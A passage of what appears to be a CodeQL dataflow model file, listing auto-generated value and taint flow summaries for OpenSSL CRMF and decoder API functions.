*,EVP_PKEY *,const X509_NAME *,const X509_NAME *,const ASN1_INTEGER *)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_CERTTEMPLATE_fill", "(OSSL_CRMF_CERTTEMPLATE *,EVP_PKEY *,const X509_NAME *,const X509_NAME *,const ASN1_INTEGER *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OSSL_CRMF_CERTTEMPLATE_fill", "(OSSL_CRMF_CERTTEMPLATE *,EVP_PKEY *,const X509_NAME *,const X509_NAME *,const ASN1_INTEGER *)", "", "Argument[*3]", "Argument[3]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_CERTTEMPLATE_fill", "(OSSL_CRMF_CERTTEMPLATE *,EVP_PKEY *,const X509_NAME *,const X509_NAME *,const ASN1_INTEGER *)", "", "Argument[*4]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OSSL_CRMF_CERTTEMPLATE_fill", "(OSSL_CRMF_CERTTEMPLATE *,EVP_PKEY *,const X509_NAME *,const X509_NAME *,const ASN1_INTEGER *)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OSSL_CRMF_CERTTEMPLATE_fill", "(OSSL_CRMF_CERTTEMPLATE *,EVP_PKEY *,const X509_NAME *,const X509_NAME *,const ASN1_INTEGER *)", "", "Argument[3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OSSL_CRMF_CERTTEMPLATE_free", "(OSSL_CRMF_CERTTEMPLATE *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_CERTTEMPLATE_free", "(OSSL_CRMF_CERTTEMPLATE *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_CERTTEMPLATE_get0_extensions", "(const OSSL_CRMF_CERTTEMPLATE *)", "", "Argument[*0].Field[**extensions]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_CERTTEMPLATE_get0_extensions", "(const OSSL_CRMF_CERTTEMPLATE *)", "", "Argument[*0].Field[*extensions]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_CERTTEMPLATE_get0_issuer", "(const OSSL_CRMF_CERTTEMPLATE *)", "", "Argument[*0].Field[**issuer]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_CERTTEMPLATE_get0_issuer", "(const OSSL_CRMF_CERTTEMPLATE *)", "", "Argument[*0].Field[*issuer]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_CERTTEMPLATE_get0_publicKey", "(const OSSL_CRMF_CERTTEMPLATE *)", "", "Argument[*0].Field[**publicKey]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_CERTTEMPLATE_get0_publicKey", "(const OSSL_CRMF_CERTTEMPLATE *)", "", "Argument[*0].Field[*publicKey]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_CERTTEMPLATE_get0_serialNumber", "(const OSSL_CRMF_CERTTEMPLATE *)", "", "Argument[*0].Field[**serialNumber]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_CERTTEMPLATE_get0_serialNumber", "(const OSSL_CRMF_CERTTEMPLATE *)", "", "Argument[*0].Field[*serialNumber]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_CERTTEMPLATE_get0_subject", "(const OSSL_CRMF_CERTTEMPLATE *)", "", "Argument[*0].Field[**subject]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_CERTTEMPLATE_get0_subject", "(const OSSL_CRMF_CERTTEMPLATE *)", "", "Argument[*0].Field[*subject]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_ENCKEYWITHID_IDENTIFIER_free", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_ENCKEYWITHID_IDENTIFIER_free", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_ENCKEYWITHID_free", "(OSSL_CRMF_ENCKEYWITHID *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_ENCKEYWITHID_free", "(OSSL_CRMF_ENCKEYWITHID *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_ENCRYPTEDKEY_free", "(OSSL_CRMF_ENCRYPTEDKEY *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_ENCRYPTEDKEY_free", "(OSSL_CRMF_ENCRYPTEDKEY *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_ENCRYPTEDKEY_get1_encCert", "(const OSSL_CRMF_ENCRYPTEDKEY *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,unsigned int)", "", "Argument[*1]", "ReturnValue.Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_ENCRYPTEDKEY_get1_encCert", "(const OSSL_CRMF_ENCRYPTEDKEY *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,unsigned int)", "", "Argument[*1]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_ENCRYPTEDKEY_get1_encCert", "(const OSSL_CRMF_ENCRYPTEDKEY *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,unsigned int)", "", "Argument[*2]", "ReturnValue.Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_ENCRYPTEDKEY_get1_encCert", "(const OSSL_CRMF_ENCRYPTEDKEY *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,unsigned int)", "", "Argument[*2]", "ReturnValue[*].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_ENCRYPTEDKEY_get1_encCert", "(const OSSL_CRMF_ENCRYPTEDKEY *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,unsigned int)", "", "Argument[1]", "ReturnValue.Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_ENCRYPTEDKEY_get1_encCert", "(const OSSL_CRMF_ENCRYPTEDKEY *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,unsigned int)", "", "Argument[1]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_ENCRYPTEDKEY_get1_encCert", "(const OSSL_CRMF_ENCRYPTEDKEY *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,unsigned int)", "", "Argument[2]", "ReturnValue.Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_ENCRYPTEDKEY_get1_encCert", "(const OSSL_CRMF_ENCRYPTEDKEY *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,unsigned int)", "", "Argument[2]", "ReturnValue[*].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_ENCRYPTEDKEY_init_envdata", "(CMS_EnvelopedData *)", "", "Argument[*0]", "ReturnValue[*].Field[*value].Union[**(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_ENCRYPTEDKEY_init_envdata", "(CMS_EnvelopedData *)", "", "Argument[0]", "ReturnValue[*].Field[*value].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_ENCRYPTEDVALUE_decrypt", "(const OSSL_CRMF_ENCRYPTEDVALUE *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,int *)", "", "Argument[*4]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_ENCRYPTEDVALUE_decrypt", "(const OSSL_CRMF_ENCRYPTEDVALUE *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,int *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_ENCRYPTEDVALUE_decrypt", "(const OSSL_CRMF_ENCRYPTEDVALUE *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,int *)", "", "Argument[4]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_ENCRYPTEDVALUE_free", "(OSSL_CRMF_ENCRYPTEDVALUE *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_ENCRYPTEDVALUE_free", "(OSSL_CRMF_ENCRYPTEDVALUE *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_ENCRYPTEDVALUE_get1_encCert", "(const OSSL_CRMF_ENCRYPTEDVALUE *,OSSL_LIB_CTX *,const char *,EVP_PKEY *)", "", "Argument[*1]", "ReturnValue.Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_ENCRYPTEDVALUE_get1_encCert", "(const OSSL_CRMF_ENCRYPTEDVALUE *,OSSL_LIB_CTX *,const char *,EVP_PKEY *)", "", "Argument[*1]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_ENCRYPTEDVALUE_get1_encCert", "(const OSSL_CRMF_ENCRYPTEDVALUE *,OSSL_LIB_CTX *,const char *,EVP_PKEY *)", "", "Argument[*2]", "ReturnValue.Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_ENCRYPTEDVALUE_get1_encCert", "(const OSSL_CRMF_ENCRYPTEDVALUE *,OSSL_LIB_CTX *,const char *,EVP_PKEY *)", "", "Argument[*2]", "ReturnValue[*].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_ENCRYPTEDVALUE_get1_encCert", "(const OSSL_CRMF_ENCRYPTEDVALUE *,OSSL_LIB_CTX *,const char *,EVP_PKEY *)", "", "Argument[1]", "ReturnValue.Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_ENCRYPTEDVALUE_get1_encCert", "(const OSSL_CRMF_ENCRYPTEDVALUE *,OSSL_LIB_CTX *,const char *,EVP_PKEY *)", "", "Argument[1]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_ENCRYPTEDVALUE_get1_encCert", "(const OSSL_CRMF_ENCRYPTEDVALUE *,OSSL_LIB_CTX *,const char *,EVP_PKEY *)", "", "Argument[2]", "ReturnValue.Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_ENCRYPTEDVALUE_get1_encCert", "(const OSSL_CRMF_ENCRYPTEDVALUE *,OSSL_LIB_CTX *,const char *,EVP_PKEY *)", "", "Argument[2]", "ReturnValue[*].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_MSGS_free", "(OSSL_CRMF_MSGS *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_MSGS_free", "(OSSL_CRMF_MSGS *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_MSG_PKIPublicationInfo_push0_SinglePubInfo", "(OSSL_CRMF_PKIPUBLICATIONINFO *,OSSL_CRMF_SINGLEPUBINFO *)", "", "Argument[*1]", "Argument[*0].Field[**pubInfos].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_MSG_PKIPublicationInfo_push0_SinglePubInfo", "(OSSL_CRMF_PKIPUBLICATIONINFO *,OSSL_CRMF_SINGLEPUBINFO *)", "", "Argument[1]", "Argument[*0].Field[**pubInfos].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_MSG_create_popo", "(int,OSSL_CRMF_MSG *,EVP_PKEY *,const EVP_MD *,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[*1].Field[**popo].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_MSG_dup", "(const OSSL_CRMF_MSG *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_MSG_dup", "(const OSSL_CRMF_MSG *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_CRMF_MSG_dup", "(const OSSL_CRMF_MSG *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_CRMF_MSG_dup", "(const OSSL_CRMF_MSG *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_CRMF_MSG_dup", "(const OSSL_CRMF_MSG *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_CRMF_MSG_free", "(OSSL_CRMF_MSG *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_MSG_free", "(OSSL_CRMF_MSG *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_MSG_get0_tmpl", "(const OSSL_CRMF_MSG *)", "", "Argument[*0].Field[**certReq].Field[**certTemplate]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_MSG_get0_tmpl", "(const OSSL_CRMF_MSG *)", "", "Argument[*0].Field[**certReq].Field[*certTemplate]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_MSG_set0_SinglePubInfo", "(OSSL_CRMF_SINGLEPUBINFO *,int,GENERAL_NAME *)", "", "Argument[*2]", "Argument[*0].Field[**pubLocation]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_MSG_set0_SinglePubInfo", "(OSSL_CRMF_SINGLEPUBINFO *,int,GENERAL_NAME *)", "", "Argument[1]", "Argument[*0].Field[**pubMethod].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_MSG_set0_SinglePubInfo", "(OSSL_CRMF_SINGLEPUBINFO *,int,GENERAL_NAME *)", "", "Argument[2]", "Argument[*0].Field[*pubLocation]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_MSG_set1_regCtrl_oldCertID", "(OSSL_CRMF_MSG *,const OSSL_CRMF_CERTID *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_MSG_set1_regCtrl_pkiPublicationInfo", "(OSSL_CRMF_MSG *,const OSSL_CRMF_PKIPUBLICATIONINFO *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_MSG_set1_regInfo_certReq", "(OSSL_CRMF_MSG *,const OSSL_CRMF_CERTREQUEST *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_MSG_set_PKIPublicationInfo_action", "(OSSL_CRMF_PKIPUBLICATIONINFO *,int)", "", "Argument[1]", "Argument[*0].Field[**action].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_OPTIONALVALIDITY_free", "(OSSL_CRMF_OPTIONALVALIDITY *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_OPTIONALVALIDITY_free", "(OSSL_CRMF_OPTIONALVALIDITY *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_PBMPARAMETER_free", "(OSSL_CRMF_PBMPARAMETER *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_PBMPARAMETER_free", "(OSSL_CRMF_PBMPARAMETER *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_PKIPUBLICATIONINFO_dup", "(const OSSL_CRMF_PKIPUBLICATIONINFO *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_PKIPUBLICATIONINFO_dup", "(const OSSL_CRMF_PKIPUBLICATIONINFO *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_CRMF_PKIPUBLICATIONINFO_dup", "(const OSSL_CRMF_PKIPUBLICATIONINFO *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_CRMF_PKIPUBLICATIONINFO_dup", "(const OSSL_CRMF_PKIPUBLICATIONINFO *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_CRMF_PKIPUBLICATIONINFO_dup", "(const OSSL_CRMF_PKIPUBLICATIONINFO *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_CRMF_PKIPUBLICATIONINFO_free", "(OSSL_CRMF_PKIPUBLICATIONINFO *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_PKIPUBLICATIONINFO_free", "(OSSL_CRMF_PKIPUBLICATIONINFO *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_PKMACVALUE_free", "(OSSL_CRMF_PKMACVALUE *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_PKMACVALUE_free", "(OSSL_CRMF_PKMACVALUE *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_POPOPRIVKEY_free", "(OSSL_CRMF_POPOPRIVKEY *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_POPOPRIVKEY_free", "(OSSL_CRMF_POPOPRIVKEY *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO_free", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO_free", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_POPOSIGNINGKEYINPUT_free", "(OSSL_CRMF_POPOSIGNINGKEYINPUT *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_POPOSIGNINGKEYINPUT_free", "(OSSL_CRMF_POPOSIGNINGKEYINPUT *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_POPOSIGNINGKEY_free", "(OSSL_CRMF_POPOSIGNINGKEY *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_POPOSIGNINGKEY_free", "(OSSL_CRMF_POPOSIGNINGKEY *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_POPO_free", "(OSSL_CRMF_POPO *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_POPO_free", "(OSSL_CRMF_POPO *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_PRIVATEKEYINFO_free", "(OSSL_CRMF_PRIVATEKEYINFO *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_PRIVATEKEYINFO_free", "(OSSL_CRMF_PRIVATEKEYINFO *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_SINGLEPUBINFO_free", "(OSSL_CRMF_SINGLEPUBINFO *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_SINGLEPUBINFO_free", "(OSSL_CRMF_SINGLEPUBINFO *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_CRMF_pbmp_new", "(OSSL_LIB_CTX *,size_t,int,size_t,int)", "", "Argument[1]", "ReturnValue[*].Field[**salt].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_pbmp_new", "(OSSL_LIB_CTX *,size_t,int,size_t,int)", "", "Argument[1]", "ReturnValue[*].Field[**salt].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_pbmp_new", "(OSSL_LIB_CTX *,size_t,int,size_t,int)", "", "Argument[2]", "ReturnValue[*].Field[**owf].Field[**algorithm]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_pbmp_new", "(OSSL_LIB_CTX *,size_t,int,size_t,int)", "", "Argument[2]", "ReturnValue[*].Field[**owf].Field[*algorithm]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_pbmp_new", "(OSSL_LIB_CTX *,size_t,int,size_t,int)", "", "Argument[3]", "ReturnValue[*].Field[**iterationCount].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_pbmp_new", "(OSSL_LIB_CTX *,size_t,int,size_t,int)", "", "Argument[4]", "ReturnValue[*].Field[**mac].Field[**algorithm]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_CRMF_pbmp_new", "(OSSL_LIB_CTX *,size_t,int,size_t,int)", "", "Argument[4]", "ReturnValue[*].Field[**mac].Field[*algorithm]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_DAY_TIME_BAND_free", "(OSSL_DAY_TIME_BAND *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_DAY_TIME_BAND_free", "(OSSL_DAY_TIME_BAND *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_DAY_TIME_free", "(OSSL_DAY_TIME *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_DAY_TIME_free", "(OSSL_DAY_TIME *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_DECODER_CTX_get_cleanup", "(OSSL_DECODER_CTX *)", "", "Argument[*0].Field[*cleanup]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_CTX_get_construct", "(OSSL_DECODER_CTX *)", "", "Argument[*0].Field[*construct]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_CTX_get_construct_data", "(OSSL_DECODER_CTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_DECODER_CTX_get_construct_data", "(OSSL_DECODER_CTX *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "OSSL_DECODER_CTX_get_construct_data", "(OSSL_DECODER_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_DECODER_CTX_get_num_decoders", "(OSSL_DECODER_CTX *)", "", "Argument[*0].Field[**decoder_insts].Field[*num]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_CTX_new_for_pkey", "(EVP_PKEY **,const char *,const char *,const char *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[**0]", "ReturnValue[*].Field[**construct_data].Field[***object]", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_CTX_new_for_pkey", "(EVP_PKEY **,const char *,const char *,const char *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**construct_data].Field[**object]", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_CTX_new_for_pkey", "(EVP_PKEY **,const char *,const char *,const char *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**start_input_type]", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_CTX_new_for_pkey", "(EVP_PKEY **,const char *,const char *,const char *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "ReturnValue[*].Field[**input_structure]", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_CTX_new_for_pkey", "(EVP_PKEY **,const char *,const char *,const char *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[*6]", "ReturnValue[*].Field[**construct_data].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_CTX_new_for_pkey", "(EVP_PKEY **,const char *,const char *,const char *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[**construct_data].Field[*object]", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_CTX_new_for_pkey", "(EVP_PKEY **,const char *,const char *,const char *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[*start_input_type]", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_CTX_new_for_pkey", "(EVP_PKEY **,const char *,const char *,const char *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "ReturnValue[*].Field[*input_structure]", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_CTX_new_for_pkey", "(EVP_PKEY **,const char *,const char *,const char *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[4]", "ReturnValue[*].Field[**construct_data].Field[*selection]", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_CTX_new_for_pkey", "(EVP_PKEY **,const char *,const char *,const char *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[4]", "ReturnValue[*].Field[*selection]", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_CTX_new_for_pkey", "(EVP_PKEY **,const char *,const char *,const char *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[5]", "ReturnValue[*].Field[**construct_data].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_CTX_new_for_pkey", "(EVP_PKEY **,const char *,const char *,const char *,int,OSSL_LIB_CTX *,const char *)", "", "Argument[6]", "ReturnValue[*].Field[**construct_data].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_CTX_set_cleanup", "(OSSL_DECODER_CTX *,OSSL_DECODER_CLEANUP *)", "", "Argument[1]", "Argument[*0].Field[*cleanup]", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_CTX_set_construct", "(OSSL_DECODER_CTX *,OSSL_DECODER_CONSTRUCT *)", "", "Argument[1]", "Argument[*0].Field[*construct]", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_CTX_set_construct_data", "(OSSL_DECODER_CTX *,void *)", "", "Argument[**1]", "Argument[*0].Field[***construct_data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_CTX_set_construct_data", "(OSSL_DECODER_CTX *,void *)", "", "Argument[*1]", "Argument[*0].Field[**construct_data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_CTX_set_construct_data", "(OSSL_DECODER_CTX *,void *)", "", "Argument[1]", "Argument[*0].Field[*construct_data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_CTX_set_input_structure", "(OSSL_DECODER_CTX *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**input_structure]", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_CTX_set_input_structure", "(OSSL_DECODER_CTX *,const char *)", "", "Argument[1]", "Argument[*0].Field[*input_structure]", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_CTX_set_input_type", "(OSSL_DECODER_CTX *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**start_input_type]", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_CTX_set_input_type", "(OSSL_DECODER_CTX *,const char *)", "", "Argument[1]", "Argument[*0].Field[*start_input_type]", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_CTX_set_selection", "(OSSL_DECODER_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*selection]", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_INSTANCE_get_decoder", "(OSSL_DECODER_INSTANCE *)", "", "Argument[*0].Field[**decoder]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_INSTANCE_get_decoder", "(OSSL_DECODER_INSTANCE *)", "", "Argument[*0].Field[*decoder]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_INSTANCE_get_decoder_ctx", "(OSSL_DECODER_INSTANCE *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_DECODER_INSTANCE_get_decoder_ctx", "(OSSL_DECODER_INSTANCE *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "OSSL_DECODER_INSTANCE_get_decoder_ctx", "(OSSL_DECODER_INSTANCE *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_DECODER_INSTANCE_get_input_structure", "(OSSL_DECODER_INSTANCE *,int *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "OSSL_DECODER_INSTANCE_get_input_structure", "(OSSL_DECODER_INSTANCE *,int *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_DECODER_INSTANCE_get_input_structure", "(OSSL_DECODER_INSTANCE *,int *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_DECODER_INSTANCE_get_input_type", "(OSSL_DECODER_INSTANCE *)", "", "Argument[*0].Field[**input_type]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_DECODER_INSTANCE_get_input_type", 